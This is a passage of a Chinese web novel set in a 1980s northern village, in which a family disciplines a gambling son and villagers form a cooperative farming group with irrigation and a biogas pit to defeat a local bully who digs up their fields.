许大舅喘着粗气,余怒未消,问许巧燕:“你哥呢?” 有人来闹事,家里却只有老人和女人小孩在,要不是他回来得及时,还不知道要出什么乱子呢。 提到表哥,许巧燕脸上露出忿忿之色,想要说什么,大舅妈抢先道:“他晌午就出去了,不在家,不知道许金财来家了。” 许大舅皱着眉头问:“他不在家待着,出去干啥?” 灵灵童言无忌地抢答:“舅舅去摸牌了!” 听到这话,许大舅气得一个倒仰。 他大清早出去收菜送货,被拖拉机颠得一把老骨头都散了,结果儿子居然出去赌钱?! “你去把他给俺叫回来!”许大舅怒道。 灵灵清脆地应了一声,小跑着就出去了,她知道村里赌钱的地方在哪儿。 许大舅缓过气来,忽然想起一个问题。 他哪来的钱去赌牌? 许大舅顺口就把这个问题问了出来,许巧燕欲言又止,而大舅妈脸上露出不安的神色。 见状,许大舅忽然意识到什么,猛地拉开门进了堂屋,从腰里摸出一把钥匙,打开了柜子,从里面翻出一个布包,打开层层裹着的布,取出里面的钱,他往手上吐了口唾沫,开始点数。 这钱是用来在收菜后给村里人结账的,具体数目只有许大舅清楚。 他数完钱,发现里面少了百十来块,因为少的都是毛票,看起来并不显眼。 “谁让你动我柜里的钱了?!” 许大舅冲到大舅妈面前,气得呼哧直喘。 要知道这个柜子的钥匙只有他和大舅妈各有一把,而柜子的锁完好无损,唯一的可能就是大舅妈开锁从里面取了钱。 东窗事发,大舅妈捂着脸直哭。 “你哭什么?!俺不是和你说了,柜里的钱是要给人结账的,不能动,你咋都不和俺说一声,就把钱拿去给二子耍牌了?!” “二子”是指表哥,他在家中排行老二,平时家里人不喊大名,而是亲昵地喊他“二子”。 大舅妈委屈地抽噎道:“他在家待着憋屈,想出去摸两把牌,没钱别人不带他耍……” 表嫂阴阳怪气地说:“他在家里待得憋屈,俺成天在家带孩子就不憋屈了?家里来人闹事儿,连个大男人都没有,还要俺这个喂奶的拦着人,屋里老的老小的小,要是让人进了屋,全家都别活了!” 大舅妈被臊得满脸通红,说不出话来。 许巧燕在一旁看着是又可怜又可恨,想撒手不管,可那毕竟是她妈。 “爹,先别管二子了,他拿了你多少钱?俺给你垫上,别误了你给人家结账。” 许大舅问她:“二子找你要钱没?” 许巧燕抿了抿嘴,在大舅妈哀求的目光中还是说道:“要了几次,后面俺就没给了。” 许大舅怒不可遏,合着老二赌钱的事儿全家都知道,就瞒着他一个人啊。 他不再说话,满院子地找东西。 大舅妈跟在后面,讨好地问道:“他爹,你找啥呢?俺帮你找吧……” 话音未落,许大舅从牲口棚里翻出一条鞭子。 这条鞭子有年头了,表面一层厚厚的包浆,乌黑发亮,看起来就抽人很很疼。 大舅妈的声音都软了。 “他、他爹,你这是要干啥……” 许大舅一把搡开大舅妈,怒气冲冲地提着鞭子往大门走。 大舅妈急道:“巧燕,快拦住你爹!” 许巧燕犹豫了下,而与此同时,表哥不高兴地跟在灵灵身后进了门,嘴里嘟嘟囔囔的。 “早不来晚不来,眼见俺要翻本了你来了……闹事儿的都走了,叫俺回来干嘛……” 正抱怨呢,表哥进门第一眼就看到许 大舅倒提着一条鞭子,脸黑得像地里的泥。 表哥脚下步子一顿,迟疑道:“爹?” 下一秒,鞭子携劲风迎面劈了下来! 表哥被兜头抽了一鞭子,疼得哭爹喊娘。 “爹,爹!你干啥啊爹!娘!娘!你快拦住他啊!” 许大舅把鞭子挥得虎虎生威,一边抽一边骂:“俺叫你偷钱!俺叫你耍牌!” 表哥被打得满地乱跳,嘴里还在说:“俺没偷钱!钱是俺妈给的!” 许大舅听了更生气。 “你还敢说?!还不是你找你娘要钱!你还敢和你姐要钱,你个不要脸的东西!” 表哥疼得受不住,抱头鼠窜,一头冲出了家门,朝外面逃去。 许大舅挥着鞭子跟在后面,一面追一面骂:“你还敢跑?俺今天非得打死你这个小畜生!” 大舅妈哭着在后面追:“别打了,别打了!要打你就打俺吧!” 许巧燕拉着大舅妈劝道:“你别管了,就让俺爹管教管教二子吧!要是让他赌上了瘾,咱们家多少家底也不够他赌的!” 大舅妈却说:“可俺就他这一个儿子啊!家里多少以后还不都是他的?” 许巧燕对于母亲这种根深蒂固的传统观念无可奈何,能让她这个嫁出去的女儿带着外孙女住娘家,已经是大舅妈母爱爆棚所能做出的最大妥协了,不然当初也不会纵容表嫂欺负她们母女。 许巧燕就换了个说法,劝道:“二子现在有儿子了,娘你总要替孙子想想吧!” 大舅妈迟疑了。 表嫂抱着孩子站在门口,幸灾乐祸地说:“该!就该打!” 许大舅拿着鞭子,追着表哥打遍了大半个村子,正是晚饭时间,各家各户都端着饭碗坐在外面吃饭,津津有味看了一出好戏。 最后还是许贵生把许大舅给劝了回去。 表哥在外面躲到后半夜,等家里的灯都熄了,才臊眉耷眼地悄悄溜了回来,还吵醒了孩子,被表嫂狠狠地冷嘲热讽了一番。 表哥脸上好几道鞭痕,身上的更是不计其数,又红又肿,疼得他天天龇牙咧嘴。 他都结婚生子了,在村里已经被看作是大人,结果还被自家亲爹拿鞭子抽,成了全村的笑柄。 表哥嫌丢脸,再加上许大舅换了藏钱的地方,他和大舅妈要不到钱,只能悻悻地不再去摸牌了。 而许大舅开始把重心的一部分放在家里,避免再出现类似事件,逼着表哥每天和他一起种地收菜,表哥凡是不从,就不许他上桌吃饭,只能自己去吃咸菜土豆。 大舅妈心疼儿子,偷偷给表哥留了几次饭,许大舅难得发火,大舅妈也只好作罢。 当许大舅一部分精力放在教子上时,村里出了件不大不小的事。 许金财把村里一户人家的耕地挖得满地都是坑,将最肥沃的表层土都挖去做砖了。 这户人家当然不肯善罢甘休,地里被挖成这样还怎么种田,当即就要和许金财讨个说法。 许金财蛮横地说:“什么你家的地?这是俺家的祖坟!你占了俺的地还敢来找俺,是不是不想活了?!” 被挖地的人家反驳道:“这是大队给分的田!那就是俺家的地!” 许金财抬手给对方推了个趔趄,凶恶地说:“给脸不要脸了是不是?!都说了是俺家祖坟,你还敢来找事儿,当俺是不敢打你吗?!” 对方悲愤道:“什么你家祖坟,许家村的都是一个祖宗,就算是祖坟,那也是俺们所有人的祖坟!” 许金财一瞪眼睛:“呦呵,你厉害了,还敢和俺吵吵?真当俺不敢收拾你家?” 他家里兄弟子侄多,再加上砖窑干活的小工,乌泱泱一群人围上来,还真有几分吓人。 这户人家气得不行,又不敢和许金财正面冲突,忍气吞声道:“土你挖了就挖了,俺不和你计较,但地里种的菜你总得赔俺吧?那菜是要拿去卖钱的……” 许金财狞笑一声:“还赔钱,挖的就是你家的菜!” “为啥要挖俺家的菜?” 许金财不演了,直白说道:“许老四敢和俺过不去,俺就要砸了他的买卖!你要是还敢把菜卖给许老四,下次就不是挖土了,俺要推了你家的房!” 对方惊疑不定:“你!” 许金财逼上前来,恶狠狠地说:“你最好记住了,要是再让俺发现了,你全家都别想在村里过了!” 除了这户人家,许家村里陆陆续续还有几户人家被许金财挖了地,威胁不准把菜卖给许大舅。 很快,就有人告诉了许大舅这个消息。 许大舅怒不可遏:“这**的天下还有没有王法了!” 许贵生问:“叔,现在怎么办?村里已经有人不敢把菜卖给俺们了。” 许大舅一时也没有什么好主意。 他并不介意和许金财家对上,也不怕许金财背后使坏,但村里其他人并没有这份勇气。 毕竟光脚的不怕穿鞋的,一家老小都住在村里,要是许金财成心作对,也够家里人喝一壶的。 虽然卖菜赚的钱不少,可要是地里隔三差五就被挖走土,刚种下的农作物就被人拔出来,年底要交的提留统筹都不够数,更别提自家明年的口粮了。 而许大舅是村里公认的好人,要是不卖给他菜,相信他也能体谅大家的苦衷。 因此,一时间村里转了风向,许多人家选择观望,暂时不将菜卖给许大舅。 当拖拉机再次来矿务局送货时,贺明珠正巧在店巡视,发现拖斗里的菜少了一多半。 贺明珠奇道:“大舅,今天的菜怎么这么少?路上出什么事儿了吗?” 许大舅重重叹出一口气,闷声闷气地说:“明珠,你怪俺吧,都是俺的错……要不是因为俺,也不至于收不上来菜……” 贺明珠从许大舅那儿问不出来,索性去问许贵生。 许贵生也不藏着掖着,爽快地就将这段时间发生的事情告诉了贺明珠。 在得知了事情的前因后果,贺明珠笑着对许大舅说:“这有什么,一点小挫折而已,算不上什么大事,大舅别自责了。” 许大舅迟疑道:“可要是收不到菜,就耽误你店里的生意……” 贺明珠说:“天下又不是只有许家村的人会种菜,多的是愿意卖菜的村子。” 许贵生说:“明珠说的也是,别的村里肯定有人乐意卖菜赚钱。” 许大舅在知道不会给贺明珠造成影响时,不由得松一口气,自告奋勇道:“俺回去就去周围打听打听,看看哪几个村子种的菜好,挑好的收!” 贺明珠说:“大舅先别急,收菜事小,搅屎棍事大。” 许大舅和许贵生不解。 贺明珠说:“只要有许金财这根搅屎棍在,不管我们去哪收菜,都逃不过他来捣乱,总不能变成打一枪换一个地方,躲着他收菜吧。” 许贵生笑道:“他也就是在许家村厉害,要是敢把全县的村子都祸害一个遍,早就被人打死了。” 贺明珠说:“话是这么说,但只有千日做贼的,没有千日防贼的,我们正经收菜做生意,怎么能轻易就把许家村这个大后方让给许金财这种恶人?” 许大舅听出味了,问道:“明珠,你想出在村里收菜的办法了?” “不,我们不在村里收菜。” 贺明珠露出一个狡猾的笑容。 “我们种菜。” 贺明珠将自己的计划告诉许大舅,让他和村里的其他人家组成联产小组,兴修水利,机械化劳作,提高蔬菜的亩产量。 许金财可以威胁村人不把菜卖给许大舅,但他总不能拦着许大舅自己卖菜吧。 而且只要有了开头,村里其他人在看到联产小组的优势后,不需要外部动员,自己就会主动申请加入联产小组。 渐渐地,随着联产小组的成员越来越多,直到包括除了许金财家以外的全体村民,成为村里的多数派。 当许金财一家子 要针对的是一村的人时,到底是谁在孤立谁? 听了贺明珠的话,许大舅先喜后忧。 喜的是成立联产小组可以轻松化解许金财的诡计,而且机械化劳作和兴修水利可以极大减轻农作时的劳动负担,让村民更省力。 忧的是现在化肥供应不足,如果规模化种植的话,土地肥力有限,无法提高亩产量。 受技术水平限制,八十年代初时国内化肥的产量有限,属于计划分配物资,不在市场上自由买卖。 农民想要拿到化肥,要么凭大队证明去供销社领取定额化肥,要么就找门路从农资公司或私人手里买一些。 但化肥总产能不足,而想要买化肥的人又太多,供不应求。 许大舅说:“要是咱手上的尿素足够多,亩产量还能再上一个台阶,可现在就不成了。” 贺明珠自言自语:“缺少肥料吗……” 她脑子迅速转动,忽然眼睛一亮,想到了什么。 “大舅,你听说过沼气池吗?” 许大舅疑惑地说:“啥是沼气池?你要修个水池子?” 贺明珠笑着说:“不是水池,是放气体的池子。” 她尽可能用通俗易懂的语言讲了一遍沼气的原理,许大舅听得似懂非懂。 “就是说要挖个坑,把粪都埋进去?这不是和粪肥一个意思嘛,还要啥沼气。” 贺明珠说:“沼气很有用呢,可以用作燃料,平时用来做饭烧水,要是村里停电的话,还可以用作沼气灯呢。” 一听到沼气可以用来照明,许大舅的眼睛一下就亮了起来。 “能当肥料,还能当灯,沼气可真是个好东西!” 要知道现在国家电网还在建设中,还没有达到后世的全球顶尖水平,停电司空见惯,部分偏远农村每天只在固定时间来电。 加上电费较贵,村里人不舍得花钱,即使有电也不开灯,宁愿使用蜡烛和煤油灯。 要是有沼气池的话,村里人就能用上免费的沼气灯,再也不用摸黑干活了。 许大舅迫不及待,问贺明珠怎么造沼气池,他要在村里造十个八个的沼气池,让全村人都能用上沼气。 贺明珠说:“大舅,别急,沼气池的建造和使用还是有一定危险的,我们得听专业人士的意见。” 许大舅疑惑道:“文化人也研究大粪堆肥啊?” 贺明珠笑眯眯地说:“对,文化人什么都研究。” 文化水平只有初中的许大舅不由得敬仰道:“这文化人可真了不起,比俺们老农民还懂粪肥嘞。” 贺明珠但笑不语。 回去以后,她写了一份信寄到了农业部的沼气科学研究所,表示愿意自费修建推广沼气池。 早在七十年代末,国内就已经在研究沼气实用化,并成立了专门的研究机构,通过开展示范项目,大力在农村中普及沼气池。 在收到贺明珠的信件后,沼气科学研究所热切回应,不仅告知了沼气池的修建方法和使用手册,还派出研究员协助修建沼气池。 首个沼气池的位置就设在了许大舅的宅基地,在开挖时,不少村民好奇围观。 在贺明珠的的建议下,修建大型沼气池,沼气统一输送,并根据北方冬天寒冷的特点,选择在背风向阳的位置,加强外池保温,挖好池体周围排沟,深埋管道,进出料口、水压间进行加盖了作业,以确保使用安全。 当沼气池完工后,还需要一段时间的发酵才能产生沼气。 在这段时间里,许大舅私下联系了村里的几户人家。 不久,许家村的首个联产小组悄悄成立了。 第133章 第133章联产小组(补完)…… 许家村出了件新鲜事儿。 许国忠不在村里收菜了,而是和几个困难户组了个什么联产承包小组,把几户的田地拢到一起种,种出的庄稼照着各户的人口和耕地来分成。 村里人稀奇不已,闲时纷纷凑过去看热闹。 只见原本用作区分各家承包田地的界桩被挪开,田垄分界被夯平,几家的地平平整整地连成一块。 许大舅带着自家儿子和另外几户人家的壮劳力,正在修整疏通田边的沟渠。 而几家的女人和老人孩子则是拿着小筐,将地里的乱石和杂草都清理干净。 有好事的人就说:“国忠,你揽这事儿不是给自己找麻烦嘛!公社都没了,国家都不让俺们农民吃大锅饭,你咋又把这一套搞起来了?” 另一人阴阳怪气地说:“他这是还惦记着当官呢!以前当生产队长多威风,想给人打多少工分就给人打多少工分,本事可大呢!现在包产到户,各人种自家的地,他这个生产队长被撸下来了,不知道心里多憋屈呢,可不得给自己找点营生干干!” 许大舅闻声看去,见说话的两人是和许金财的狐朋狗友。 这两人以前曾因为偷懒,出工不出力,而被许大舅记成了三分工,比妇女的五分工还低,自那以后就记恨上了他。 许大舅大声地说:“得亏现在没有合作社了,不然不知道还要让你们占去多少公家便宜!你现在只能种自家的田,出一分力收一分粮,多干多吃,少干少吃,不干就没得吃,你们可是得好好干活了!” 许大舅的话朴素而犀利,周围熟知内情的村民们都哄笑出声,臊得这两人满面通红。 其中一人梗着脖子,语无伦次地大喊:“你、你、你扯这些干什么?你就是心虚!” 许大舅拿起挂在脖子上的毛巾,擦了一把头上的汗,爽朗地笑道:“俺身正不怕影子歪,俺有什么好心虚的!” 那人喊:“你怕俺说了你的底细!你就是哄人搞什么联产小组,实际就是想耍你生产队长的威风!骗别人给人家白干活!” 联产小组其他人听不下去了,纷纷反驳:“四叔家的地是侍弄得最好的,一点碎石和杂草也没有,根本不用俺们干啥;倒是俺们自家的地,荒的荒,乱的乱,还得让四叔带着人从头收拾,说起来,还是俺们占了四叔便宜呢!” “打量谁不知道你和四叔过不去,想拿这话来挑拨俺们,你也有那脸说!” “老大一个人了,还干这种没德行的事儿,俺都替你臊得慌!” 被人指着鼻子骂,对方脸上青青白白的,一矮身,扭头灰溜溜钻出了人群。 找事儿的人溜了,村里其他人却听得心动不已。 全许家村的人都知道,许大舅是种田的一把好手,不管是沤田铲草,还是放场挑渣,许大舅的手艺是一等一的好,要不然当初大队也不能让他当生产队长。 于是,有人就问:“他四叔,你们这联产小组是干啥的?还缺人不?” 许大舅说:“说起来有也没啥,就是一块儿种地。大家伙儿共同劳动,共同进步,等秋收了就共同分配,谁也不吃亏,谁也不占集体便宜,咱们就是一个自愿参与。” 听了许大舅的话,有人动心,有人怀疑,还有人想再观望观望。 这把地拢到一起种,那不就又和包产到户之前一样吗?要是有人浑水摸鱼,偷懒耍滑,其他干活卖力的人肯定不服气,最后所有人都不出力,还不是要闹得乱七八糟? 现在有土地承包到户的政策,可以撒开手脚种自家的田地,收获多少都是自己的,虽然比之前要辛苦不少,但心里有盼头,辛苦也是甜的。 不过,唯一可惜的是,没了许大舅这个种田好手的统一指挥,种地上的事儿有时还真有些拿不准。 怀揣着这样那样的担心,许家村里要加入新成立联产小组的人家寥寥无几。 在一间摇摇欲坠的土坯草房里,土墙里的茅草突破了墙面,乱七八糟地支棱在外,墙上的土扑扑往下掉,春夜的冷风顺着四面八方的缝隙往屋子里钻。 屋里没开灯,或者说,压根就没有电线,仅有的煤油灯和蜡烛也不舍得点,屋主还遵照着古老的日出而作日入而息的作息。 不过今夜,这间破落的小屋里传出了说话声。 “不行!俺不同意!好好的,干啥要加什么联产小组!” 一道苍老而衰弱的女声响起,带着点哀求说:“儿啊,咱家就好好种地不行吗?你别想那乱七八糟的事了,将来娘给你说个媳妇,生几个胖娃娃,多好。” 年轻的男声努力压抑着急躁:“娘,好好种地,咱家这条件要怎么好好种地?俺爹病得起不来,你身体也不好,就俺自己下地,这地能种成啥样?” 月光从报纸遮住的窗户中透入,依稀照亮了屋内情景。 满面皱纹、驼背弓腰的老妇人,头发稀稀拉拉地梳成一小团发髻,双手交握,坐在炕沿。 她面前的地上站着一个年轻的男人,个子不高,极瘦,细脖子艰难地撑着脑袋。 老妇说:“那也不能进联产小组,咱家好不容易才分到地,这地就是命根子,谁也不能给!” 年轻男人劝道:“联产小组只是一起种地,地还是咱们自家的,谁也不给。要是有人帮一把手,咱家的今年的收成肯定比去年好。” 老妇固执道:“管他收成好不好,只要地是自家的,种多少都是咱的;可要是 进了联产小组,那可就不由咱了!” 年轻男人苦劝无果,老妇就是咬死了不行。 他无奈,只得把话说得更直白些:“娘,可现在不是咱想好好种地,就能好好种地啊!” “许金财带人把咱家地里的土给挖走了一层,地里弄得乱七八糟的,还让人怎么种地?要是不加联产小组,就赶不上今年的春耕了!” 老妇嗫喏道:“他不是不叫把菜卖给许国忠吗?咱们不卖了,他不就不来咱家地里挖土了吗?” 年轻男人气愤地说:“凭什么他说不让就不卖?!没了卖菜的钱,爹的药费怎么办?!咱家现在一屁股的债,一点积蓄都没有,你还说要给我说媳妇,可就咱们这穷家,谁家也不会把闺女嫁过来啊!” 这些都是再现实不过的问题,老妇低着头,不说话了。 年轻男人接着说:“咱们加了四叔的联产小组,以后不仅有人帮着种地,而且还能把地里的菜卖给四叔,也不用怕许金财来欺负人。除了收成要分出去一些,就没啥不好的。你不想加,俺还怕四叔嫌咱家负担重,不肯收呢!” 这时,炕上传出一阵低低的咳嗽声。 老妇急忙将炕上的老头扶起来,年轻男人倒了杯水,把甘草片喂到老头嘴里。 老头喝了药,又顺了顺气,缓过来些,开口说道:“孩儿他娘,就听咱孩儿的吧。” 老妇犹豫道:“可那是咱家的地……” 老头拍了拍她的手,两双老树根一样干枯粗糙的双手握在一起。 “守不住的地就不是咱家的地了。许金财就是个活畜生,看准了咱家没人,好欺负,成天地惦记着从咱家地里挖土去做砖。” 老妇恨恨道:“早知道俺以前就不该救他,让他小时候淹死在水泡子里才好!” 老头说:“说这有啥用,几十年前的事儿了,他就不是那报恩的人。咱家现在这光景,都是俺连累你们了,要不也不会为了给俺看病,把家里的钱都造没了,俺活着就是祸害啊,早就该死了……” 说话间,老头已经老泪纵横。 年轻男人急道:“爹,你说这做啥!” 老妇也说:“呸呸呸,快别说这不吉利的话!” 老头抹了把眼泪,对年轻男人说:“国忠是个好的,他打小就厚道,不会欺负人,你跟着他肯定没错。等进了联产小组,你年轻,多干点儿,别让人家以为咱家不懂事。” 年轻男人高兴地应了:“哎!俺肯定卖力!俺今天看了,人家都是一家子干活,咱们家就俺能下地,俺肯定得多干,要不人家还当咱家是去占便宜的呢。” 老妇也想通了,说道:“俺还干得动,俺和你一块儿下地,咱们干多少就挣多少,不占人家便宜。” 年轻男人动容道:“娘!你就在家照顾俺爹,有俺去就够了!” 月光温柔,将这间摇摇欲坠的土坯草房裹上一层朦胧而温暖的滤镜。 随着联产小组的成员扩充,原本分散的田地渐渐连成一片,没了界桩和田垄的阻隔,看起来颇为平坦广阔,正适合机械化耕种。 拖拉机的烟囱里冒着黑烟,随着突突突的轰鸣声,许贵生驾驶着拖拉机在田地里驰骋,一趟下来,就将田地翻了个底朝天,深层土壤中的草根和土块被翻出来,还有藏在地里的虫卵,都暴露在太阳下。 原本需要人力干好几天的活儿,现在有了拖拉机,只需一下午,就全部都干完了。 联产小组的耕种进度像是开了加速器,没过几天就赶上了村里其他人家的进度。 一场春雨,地里冒出了细细密密的绿芽,充满了希望,看得人心旷神怡。 联产小组还整修了这一片田的水利,许大舅带着人疏通年久失修的干渠和排水沟,使其能更好地灌溉田地。 由于缺少村里的统一管理和规划,在分田到户后,一部分爱占便宜的村民为了扩大自家承包地的面积,多种一两行的庄稼,人为地破坏了公社时期修建的农田水利设施。 一条水渠,一旦开决就成了废渠。 另外,水利设施本来就不是一劳永逸的东西,需要长期的维护和保养,一旦没人管理,淤泥野草就会渐渐堵塞沟渠,时间长了,堵死的沟渠就相当于是废了。 大队对此也是睁一只眼闭一只眼,毕竟如今分田单干,各人有各人的打算,村干部说话不怎么好使,指挥也指挥不动,索性以后就靠天吃饭,大家也都没有话说。 许大舅对此一直看在眼里记在心里,但他急也没用,没人听他的,也只能管好自家的一亩三分地。 如今有了联产小组,许大舅终于能大展身手。 他组织了小组里的壮劳力,扛着锄头铲子,沿着周围的水渠,见了占渠的就挖开,发现堵塞的就疏通,费了大劲儿,才将附近的水渠都疏通,浑浊的水潺潺地流动起来。 联产小组的人忍不住欢呼起来。 周围承包地的人家看着眼红,有了水渠,以后浇地得多省事儿啊。 有人厚着脸皮去问许大舅,能不能让他从水渠里打水浇地。 许大舅说:“渠里的水才有多少,哪够咱们两处一起使的?要不你家也把水渠通一通,跟俺们这条渠连上,这不更简单嘛。” 那人犹豫:“渠上种着俺家的两行庄稼呢……” 许大舅说:“那才两行,你要是通了水渠,以后几十几百行庄稼都受益。再说了,那渠里原本就不是种庄稼的地方,搁雨水大的时节,渠里多少庄稼都能冲没了,倒是白白废些辛苦。” 听了这话,那人下定决心,说:“通,俺,这就带着人通!” 他还不放心地嘱咐许大舅:“说好了,俺家的渠可是要和你们的渠连上的啊……” 许大舅说:“放心吧,俺巴不得多连些水渠呢,要是全村的渠都通了才算好呢!” 渐渐地,在联产小组的带动下,许家村里越来越多的人开始疏通水渠,在方便了灌溉的同时,也可以避免在夏天雨水过多的时候,被水涝了农田。 入春后,天气一日比一日热。 有充足的水热条件,田里的菜长得很快,一茬茬地收割,又一茬茬地长起来。 低矮的枝干上挂起了果,青色的西红柿,绿色的茄子,还有一挂小辣椒。 许贵生每隔几天都要开着拖拉机往矿务局送一次菜,每次他回来后,小组成员都会高兴好几天。 无他,除了留下集体种田必须的费用以外,许大舅将卖菜的钱都分给了大伙儿。 对于农民而言,这可是一笔不小的收入! “娘,你收着,这是这次的钱。” 土坯草房,年轻男人从兜里掏出一把毛票递给了老妇。 老妇乐呵呵地说:“俺不要,你自己拿着,去吃点啥买点啥,别缺着自己。” 老头气色好了许多,能起身下炕,拄着拐在地上走几步。 “咋给你分了这么多的钱?组里其他人有意见没?要是有意见的话,咱可不能拿啊!” 年轻男人笑着说:“爹,你就放心吧!大伙儿都看着呢,俺是下了大苦力的,脏活儿累活儿都是俺抢着干,都说要多给俺发点儿钱呢!” 老头欣慰地说:“那就好,那就好……” 老妇却心疼地抚着儿子的胳膊:“你个憨子,小组的地是大家的,别人干多少你干多少不就结了,咱们不占便宜,可也不能吃亏,要是累坏了身体咋办?你爹就是累出来的一身病。” 年轻男人挺起瘦巴巴的胸膛说:“那哪行?大家都看着呢,俺干得多拿得多,这才叫公平。再说了,联产小组挣得越多,咱们分的钱就越多,俺得好好干,才能让咱们农民也过上城里人的好日子!” 老头赞道:“有出息!不愧是老子的种!” 年轻男人摸着头嘿嘿地笑。 老妇嗔怪地看这对父子一眼,迈着小碎步进了厨房。 “俺去集市上割了一斤肉,今天给你好好做顿肉补一补!” 随着联产小组的发展越来越蓬勃,村里其他人也想加 入进来,但现在春耕过了大半,最辛苦的时候过去了,怕别人被占了便宜。 许大舅说春耕结束了,接下来还有抢收抢种的忙季,是一年里最忙的时节,这会儿参加联产小组,占不了便宜也吃不了亏。 有的人家被说服,加入了联产小组;也有的人家还在犹豫,依旧继续观望。 许大舅也不劝,目前联产小组内部生产的蔬菜已经足够满足贺家那边的需要,而且因为这批蔬菜从播种到收获都是在许大舅的统一管理下,质量比之前从各家买菜时要好得多。 贺明珠一向不拖欠货款,付钱很及时,而且由于菜好,她还主动提高了收购价格。 联产小组成员拿着到手的钱,笑得嘴都合不拢。 在这片欢乐的气氛中,有一个人很不高兴,就是许金财。 他原本想把许大舅收菜的生意挤兑黄,逼得村里人不敢再把菜卖给他。 没想到许大舅另辟蹊径,不收菜了,反而改为成立什么联产小组,带着一帮人种地。 虽然说参加联产小组的都是村里最困难的人家,有的是寡母拉扯着一群幼子,有的是老的老小的小,家中没有壮劳力,还有是家里有老病号…… 林林总总的,总之要不是家里过不下去,人家也不会参加这个所谓的“联产小组”。 可就是一群老弱病残,硬生生把联产小组办了起来,还办得越来越好,光是这一段时间买菜的收入,就看得人眼红不已。 眼见村里越来越多的人家想加入联产小组,许金财想故技重施,把联产小组的地给挖了。 但许金财前脚带人大半夜把田里的土挖了一块,后脚一群人扛着锄头钉耙围了他家的二层小楼。 “许金财你个畜生!你给俺出来!” 瘦巴巴的老头子挥舞着钉耙,在许金财家的大门上砸出了一排小坑。 “许金财,你不让俺们好过,你也别想好过!” 穿着打满了补丁衣服的女人捡起块碎砖,高高抛过许金财家的院墙,隐隐约约能听到里面“哎呦”一声痛叫。 几个小孩爬到许金财家院外的树上,一手抓着树枝,一手拉开腰带,松松垮垮的裤子落到脚面,掏出小鸡鸡,对准了院里的人就撒尿。 天降甘霖,许金财被浇了一头,气得破口大骂:“小王八蛋,老子打死你们!” 话音未落,有个手脚慢的小孩好不容易才解开打了死结的腰带,急匆匆地就朝院里尿去。 许金财正说话呢,被精准地滋了一嘴,恶心得他“呸呸呸”直吐。 几个老太太往地上一坐,拍着地就大哭起来。 “哎哟哟俺那个老天爷啊,这是不给俺们活路了啊啊啊……” 老太太们是练过哭丧的,唱起来那叫一句三拐弯,余音绕梁,不知道的还以为许金财家的人都死光了这会儿正出丧呢。 许金财气急败坏地扯开院门,跳着脚地骂:“滚!都给俺滚!再不走,俺和你们没完!” “你和谁没完?!” 许大舅上前,一巴掌推了他个趔趄。 “俺是不是和你说了,再敢来闹事儿,俺就往死里收拾你?” 许金财踉跄几步,好不容易才稳住了脚。 他对许大舅是又恨又怕,对着别人敢耍横,可对着许大舅,心里就有点发憷。 一方面是因为他以前被许大舅打出心理阴影了,另一方面则是因为许大舅和这帮农村土包子不一样,他是退伍兵,不少战友在城里当领导。要是比后台的话,许金财还真比不过。 面对许大舅,许金财色厉内荏地说:“俺找你闹事儿了?你讲不讲道理,那地是你家的?” 许大舅毅然道:“联产小组的事就是俺的事,你挖俺们联产小组的地,就是和俺过不去!” 许金财无赖道:“什么联产小组,俺不知道!俺就知道,现在分田到户,只有家庭联产,没有小组联产,你别想拿这种话来唬人!” 许大舅不和他纠缠,直接说:“那你现在知道了!以后都不准动俺们联产小组的地!” 许金财说:“俺动了又咋样?你又不是村干部,你能拿俺咋样?” 许大舅沉声道:“那俺就要找乡里好好说道说道你家的砖窑了!” 许金财心中一跳,勉强镇定道:“你说这个有什么用?俺家砖窑好好的,你找谁说也没用。” 许大舅冷哼一声:“你盖轮窑用的是村里的地,足足用了三十亩地!当时说好了每年每亩地给村里上交四十块钱,一年就要交一千二百块钱——可你开了三年砖窑,交了几个钱?” 许金财心虚道:“这和你没关系。” 许大舅说:“咋就没关系了?你不交钱,大队部就没钱给村干部发工资,也没钱给村里修路,你说有没有关系?” 许大舅以前是生产队长,对村里的事了如指掌,许金财见糊弄不了他,破罐子破摔道:“那你说要咋样?反正俺干砖窑是赔钱的,没钱交村里。” 许大舅不听他胡扯,要是砖窑不赚钱,许金财家能第一个就在村里盖起二层小楼?要知道这会儿全县也没几户人家能盖楼的。 当然,要是让许金财解释,就是烧好的砖卖不出去,不值钱,为了不浪费,只好拿来自家盖房子用了云云。 但这话只能糊弄三岁小孩,连小学生都骗不过去。 许大舅说:“你没钱交村里,那你的砖窑也别开了!正好把地腾出来,也省得好好的田都被你挖废了!要是大队不管,俺来管!俺去找乡里,让乡里的干部来管!” 许金财怕许大舅真把这事儿捅到乡里,连忙说:“别,别……俺交钱,交钱……你别去乡里,俺以后不动你们的地行不行?” 许大舅断然道:“不行!你咋把俺们联产小组的地挖出坑的,你就咋埋回去!” 许金财说:“行,行,俺马上就叫人去填。” 许大舅又说:“你还得跟俺们联产小组的人道歉!” 许金财争辩道:“他们差点把俺家砸了,还让俺道歉,凭什么?!这帮小兔崽子还拿尿滋俺了!” 许金财扯着被尿得湿漉漉的衣服让人看,许大舅不耐烦地说:“童子尿治百病,你哪那么多的事儿?腻腻歪歪的,矫情!” 许金财被气得脑袋都发懵。 什么叫童子尿治病?什么叫他事儿多?到底是谁矫情啊! 许大舅催促道:“快点,俺们还有事,没时间跟你耗!” 许金财恨恨地看了许大舅一眼,转过身,晦气地对众人说:“道歉,俺道歉,对不住,俺不该挖你们的地……行了吧。” 最后一句是对许大舅说的。 许大舅不满意地说:“声音大点儿,你没吃饱饭啊?哼哼唧唧说什么呢!” 许金财:…… 道歉的话已经说出口了,似乎第二遍也没那么难张嘴。 “对不住,俺错了,俺再也不挖你们的地了,俺道歉。” 联产小组的成员们沸腾了。 作为村里的弱势群体,却被村霸当面道歉,这是他们头一次感受到尊严的存在。 这个联产小组参加得可真值! 第134章 第134章贺家的夏天(补完)…… 村里的联产小组办得热热闹闹,而城里的罐头厂也开得红红火火。 自从有了半自动化的生产线,罐头厂的生产效率直线上升,原本的仓库放不下,又在空地上盖了一间新仓库。 除了新开的煤矿人家设了专卖窗口,一矿的食堂、分矿的饭店以及矿务局的乌金年代都增设了一个货架,摆在收银台旁边的显眼位置,用来售卖罐头。 一些来吃饭的外地客人看到罐头后,在结账时就顺手买几个回去作为伴手礼,让家里人也尝一尝乌城的特色菜。 买罐头最多的还是火车司机,大包小包的,每次都像是来进货,将货架上的罐头一扫而空。 “哎,你也来买罐头啊?” “我下周要跟车去无锡,那地方口味太甜了,我可吃不惯,炒青菜都要放糖,这谁能受得了!” “哈哈哈哈,那是必须得带上罐头,咱们北方人还真吃不惯甜口。” “你也买了不少罐头,这是要去哪儿啊?” 